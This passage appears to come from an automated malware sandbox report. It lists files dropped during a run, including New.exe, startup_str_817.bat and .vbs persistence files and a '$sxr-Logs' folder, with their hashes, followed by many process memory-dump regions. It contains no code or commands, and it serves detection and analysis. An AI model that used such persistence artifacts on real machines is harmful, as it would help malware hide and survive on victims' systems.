                                                                                                                      SHA1

                                                                                                                      4793adbba023f90d2d2ad0ec55199c56de815224

                                                                                                                      SHA256

                                                                                                                      720e6962d75e37e8b47b160c5b3f60433a341f00abf60041630116b26858fbb0

                                                                                                                      SHA512

                                                                                                                      564f4104e6e398eeef8acc7ce7cab694b6eebbe4233b7cb359829242b949dc7c5bf124a550a4d0402eb7da19b8bec6c1f6753563b17a8ae36fb639be595b8d66

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\New.exe

                                                                                                                      Filesize

                                                                                                                      409KB

                                                                                                                      MD5

                                                                                                                      cf570b21f42f0ce411b7c9961068931e

                                                                                                                      SHA1

                                                                                                                      f92aa688a1dbd64a4585ecfe80a9c2d7f408c57d

                                                                                                                      SHA256

                                                                                                                      d0c4045c70a0822806a4e56d7883821cd2c19362f1cfed3bcbdb1e1b8eb15234

                                                                                                                      SHA512

                                                                                                                      de9dce8300656cd8531569011d043373193cbda125b738e66a5bf107178b48781d6dc88eea696b2074c352a1bf56a4693cfae62e668993ac24ce18aebfdcd684

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\SybViDMmHlQl.bat

                                                                                                                      Filesize

                                                                                                                      276B

                                                                                                                      MD5

                                                                                                                      c015fdc361eeeb71cb0244e420b2ef89

                                                                                                                      SHA1

                                                                                                                      22d97ffc632bcd2b4481383d040eaba38d111f13

                                                                                                                      SHA256

                                                                                                                      bd7e8174609f6ca1a59d3ffe0194af72103762fa58fdc87f16dd6c1a9844c7f8

                                                                                                                      SHA512

                                                                                                                      a26bea5ae843d9e302f972aa34a2f6e05e03f1e479c999475ce7784942a735b1fc74dc3eb2c5a1123439168a176d7dfad05c57f5c09147f9ae30bc4ebcd48fea

                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mtgd3xbi.pt3.ps1

                                                                                                                      Filesize

                                                                                                                      1B

                                                                                                                      MD5

                                                                                                                      c4ca4238a0b923820dcc509a6f75849b

                                                                                                                      SHA1

                                                                                                                      356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                      SHA256

                                                                                                                      6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                      SHA512

                                                                                                                      4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                    • C:\Users\Admin\AppData\Roaming\$sxr-Logs\05-28-~1

                                                                                                                      Filesize

                                                                                                                      224B

                                                                                                                      MD5

                                                                                                                      668c9d9256a82a28f5769c6010a48665

                                                                                                                      SHA1

                                                                                                                      514feb1105a5c6e4e0c877bab7ae7283877ca9e6

                                                                                                                      SHA256

                                                                                                                      f797408c1bbf907851fa5501093fbee68506eace9ef2439e9dba5ac61a262daa

                                                                                                                      SHA512

                                                                                                                      b22c4662ee5e89a7509af58b4ebcab4d4df8bae8fbc37dd17da42ed970adbcdc2abb5b24dabfa888680a164d69a3dda1c3bf2bfa42dc39f973e8828a27f6a5af

                                                                                                                    • C:\Users\Admin\AppData\Roaming\startup_str_817.bat

                                                                                                                      Filesize

                                                                                                                      1002KB

                                                                                                                      MD5

                                                                                                                      f6d5bfaee8a55ff72c7b453fda066d62

                                                                                                                      SHA1

                                                                                                                      7d737d53013990e5d05076b7206e43eb4793fc7f

                                                                                                                      SHA256

                                                                                                                      3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308

                                                                                                                      SHA512

                                                                                                                      e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284

                                                                                                                    • C:\Users\Admin\AppData\Roaming\startup_str_817.vbs

                                                                                                                      Filesize

                                                                                                                      115B

                                                                                                                      MD5

                                                                                                                      af3b7323ae40be47582f3d8ccab8120c

                                                                                                                      SHA1

                                                                                                                      c1ee2a6f5e92f32df41da9e44fe48ecab9f967fd

                                                                                                                      SHA256

                                                                                                                      e2b510081177244136bbdd64ca178db9be492354945121cd2d09dc8729423340

                                                                                                                      SHA512

                                                                                                                      4dbc9ba62e28e8615b3302d37a954eeb493b444fa582b4c8dc22426b680c2d2debe8c785e6df630694c549d81d28aa3b08eb8e6cb68df8d17d379879d634aa54

                                                                                                                    • C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04

                                                                                                                      Filesize

                                                                                                                      412B

                                                                                                                      MD5

                                                                                                                      48834f416d76621ea289ca1263d613ec

                                                                                                                      SHA1

                                                                                                                      8badffc9d8ee257ec4b8f8d506f690fb86ce781e

                                                                                                                      SHA256

                                                                                                                      9dfdc67a40014892d0af20b130ade05058418d3d4295f628d39cb898b8dedf58

                                                                                                                      SHA512

                                                                                                                      63b7bf38b7572f975bbb18c8ccb32aea344fd404d9037884ab60359dc87662bf175958b5851c2d50f32d3e2d436a887d71ccc8516b9c4f337577ef4dc88a26e4

                                                                                                                    • memory/580-278-0x0000028AD36A0000-0x0000028AD36C5000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      148KB

                                                                                                                    • memory/580-279-0x0000028AD36D0000-0x0000028AD36FA000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/580-280-0x0000028AD36D0000-0x0000028AD36FA000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/580-286-0x00007FF95AFC0000-0x00007FF95AFD0000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/580-285-0x0000028AD36D0000-0x0000028AD36FA000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/636-290-0x000002287EDD0000-0x000002287EDFA000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/636-295-0x000002287EDD0000-0x000002287EDFA000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/636-296-0x00007FF95AFC0000-0x00007FF95AFD0000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/744-306-0x00007FF95AFC0000-0x00007FF95AFD0000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/744-300-0x000001C711750000-0x000001C71177A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/744-305-0x000001C711750000-0x000001C71177A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/908-310-0x000001AFE3C10000-0x000001AFE3C3A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/908-316-0x00007FF95AFC0000-0x00007FF95AFD0000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/908-315-0x000001AFE3C10000-0x000001AFE3C3A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/1008-320-0x00000272CA420000-0x00000272CA44A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/1008-325-0x00000272CA420000-0x00000272CA44A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/1008-326-0x00007FF95AFC0000-0x00007FF95AFD0000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      64KB

                                                                                                                    • memory/1056-264-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      32KB

                                                                                                                    • memory/1056-275-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      32KB

                                                                                                                    • memory/1056-273-0x00007FF99AF30000-0x00007FF99B10B000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      1.9MB

                                                                                                                    • memory/1056-274-0x00007FF998490000-0x00007FF99853E000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      696KB

                                                                                                                    • memory/1056-272-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      32KB

                                                                                                                    • memory/1056-265-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      32KB

                                                                                                                    • memory/1056-266-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      32KB

                                                                                                                    • memory/1056-267-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      32KB

                                                                                                                    • memory/4072-233-0x000001DB41D80000-0x000001DB41DF6000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      472KB

                                                                                                                    • memory/4072-261-0x000001DB41E00000-0x000001DB41E2A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      168KB

                                                                                                                    • memory/4072-262-0x00007FF99AF30000-0x00007FF99B10B000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      1.9MB

                                                                                                                    • memory/4072-230-0x000001DB29730000-0x000001DB29752000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      136KB

                                                                                                                    • memory/4072-263-0x00007FF998490000-0x00007FF99853E000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      696KB

                                                                                                                    • memory/4264-222-0x0000000000520000-0x000000000058C000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      432KB

                                                                                                                    • memory/4616-204-0x000000000AC60000-0x000000000ACCC000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      432KB

                                                                                                                    • memory/4616-205-0x000000000AD80000-0x000000000AE12000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      584KB

                                                                                                                    • memory/4616-225-0x00000000072D0000-0x00000000072E2000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      72KB

                                                                                                                    • memory/4616-234-0x0000000009820000-0x000000000985E000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      248KB

                                                                                                                    • memory/4616-242-0x00000000098D0000-0x00000000098DA000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      40KB

                                                                                                                    • memory/4628-8-0x0000000008100000-0x0000000008166000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      408KB

                                                                                                                    • memory/4628-5-0x0000000007AD0000-0x00000000080F8000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.2MB

                                                                                                                    • memory/4628-224-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB

                                                                                                                    • memory/4628-6-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB

                                                                                                                    • memory/4628-35-0x000000000D930000-0x000000000DE2E000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      5.0MB

                                                                                                                    • memory/4628-9-0x0000000008350000-0x00000000083B6000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      408KB

                                                                                                                    • memory/4628-10-0x00000000083C0000-0x0000000008710000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      3.3MB

                                                                                                                    • memory/4628-13-0x00000000082C0000-0x00000000082DC000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      112KB

                                                                                                                    • memory/4628-3-0x00000000052C0000-0x00000000052F6000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      216KB

                                                                                                                    • memory/4628-15-0x0000000008A30000-0x0000000008AA6000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      472KB

                                                                                                                    • memory/4628-7-0x00000000079F0000-0x0000000007A12000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      136KB

                                                                                                                    • memory/4628-4-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB

                                                                                                                    • memory/4628-2-0x0000000073B0E000-0x0000000073B0F000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      4KB

                                                                                                                    • memory/4628-14-0x0000000008B80000-0x0000000008BCB000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      300KB

                                                                                                                    • memory/4628-26-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB

                                                                                                                    • memory/4628-31-0x000000000B2B0000-0x000000000B928000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.5MB

                                                                                                                    • memory/4628-32-0x0000000009A40000-0x0000000009A5A000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      104KB

                                                                                                                    • memory/4628-33-0x00000000099F0000-0x00000000099F8000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      32KB

                                                                                                                    • memory/4628-34-0x0000000009B20000-0x0000000009C12000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      968KB

                                                                                                                    • memory/4884-74-0x0000000009710000-0x00000000097A4000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      592KB

                                                                                                                    • memory/4884-45-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB

                                                                                                                    • memory/4884-46-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB

                                                                                                                    • memory/4884-47-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB

                                                                                                                    • memory/4884-64-0x00000000093A0000-0x00000000093D3000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      204KB

                                                                                                                    • memory/4884-66-0x00000000706E0000-0x000000007072B000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      300KB

                                                                                                                    • memory/4884-67-0x0000000009380000-0x000000000939E000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      120KB

                                                                                                                    • memory/4884-65-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB

                                                                                                                    • memory/4884-72-0x0000000009520000-0x00000000095C5000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      660KB

                                                                                                                    • memory/4884-73-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB

                                                                                                                    • memory/4884-159-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB

                                                                                                                    • memory/4884-166-0x0000000073B00000-0x00000000741EE000-memory.dmp

                                                                                                                      Filesize

                                                                                                                      6.9MB